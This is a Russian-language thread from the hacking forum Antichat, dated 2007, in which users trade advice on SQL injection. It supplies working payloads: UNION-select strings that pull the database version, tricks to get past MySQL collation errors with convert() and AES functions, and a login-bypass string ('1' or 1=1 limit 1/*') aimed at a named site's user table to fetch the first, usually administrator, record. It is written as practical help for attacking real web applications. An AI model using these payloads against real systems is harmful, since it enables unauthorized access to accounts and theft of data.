ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Ваши вопросы по уязвимостям. (https://forum.antichat.xyz/showthread.php?t=46016)

aka PSIH 28.08.2007 11:24

Termin@L
4nob1oz

Почитайте, наверно много нового узнаете...
http://www.securitylab.ru/contest/212101.php

4nob1oz 28.08.2007 11:52

Да знаю я что это blind :) Просто я ниразу с мускулем третим не работал и все пишут уже с union, а в третем просто нету его. Вообще жесть blind sql inj на mysql 3.x кошмар просто :)

To PSIH: Спасибо за линк чтото на подобие этого я и искал.

Joker-jar 29.08.2007 13:07

Цитата:

MySQL Error: 1267 (Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_bin,IMPLICIT) for operation 'UNION')
Как обойти?

Добавлено:

При запросе ...?id=-1+union+select+1,2,3
вывод есть, а при
При запросе ...?id=-1+union+select+1,version(),3
выводится хрень выше

phol1eadeux 29.08.2007 13:14

Цитата:

Сообщение от Joker-jar
Как обойти?

Добавлено:

При запросе ...?id=-1+union+select+1,2,3
вывод есть, а при
При запросе ...?id=-1+union+select+1,version(),3
выводится хрень выше

Используй convert()

Joker-jar 29.08.2007 13:15

convert(version()+using+???) ?

phol1eadeux 29.08.2007 13:17

version() using latin1 - попробуй так

Constantine 29.08.2007 13:25

union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version() , 0x71),0x71)

MrUpii 30.08.2007 23:05

Здравствуйте я полохо знаю sql так что заранее спасибо.
У меня такой вопрос если в поле аутентификации я ввожу например 99 и ' и сервер мне выдает
E_DB_QUERY
SELECT * FROM `sunz_users` WHERE `login` = '99'' LIMIT 1;
Могу я что нить отсюда выудить

n1†R0x 30.08.2007 23:21

запрос вида
?login=-1'+union+select+someshit+from+sometable/*
поможет)
имена таблиц и столбцов надо подбирать.

Scipio 31.08.2007 00:12

Цитата:

Сообщение от n1†R0x
запрос вида
?login=-1'+union+select+someshit+from+sometable/*
поможет)
имена таблиц и столбцов надо подбирать.

а зачем?

просто ввести в поле
Код:

1' or 1=1 limit 1/*
и все...

запрос который выполнится будет
Код:

SELECT * FROM `sunz_users` WHERE `login` = '1' or 1=1 limit 1;
другими словами выбрать все данные из таблицы `sunz_users` там где поле login = 1 или если 1=1, а т.к. 1 всегда равно 1 то благодаря limit 1 запрос выбирает из таблицы первые записи (обычно админские) кстати limit 1 необязательно


Время: 10:34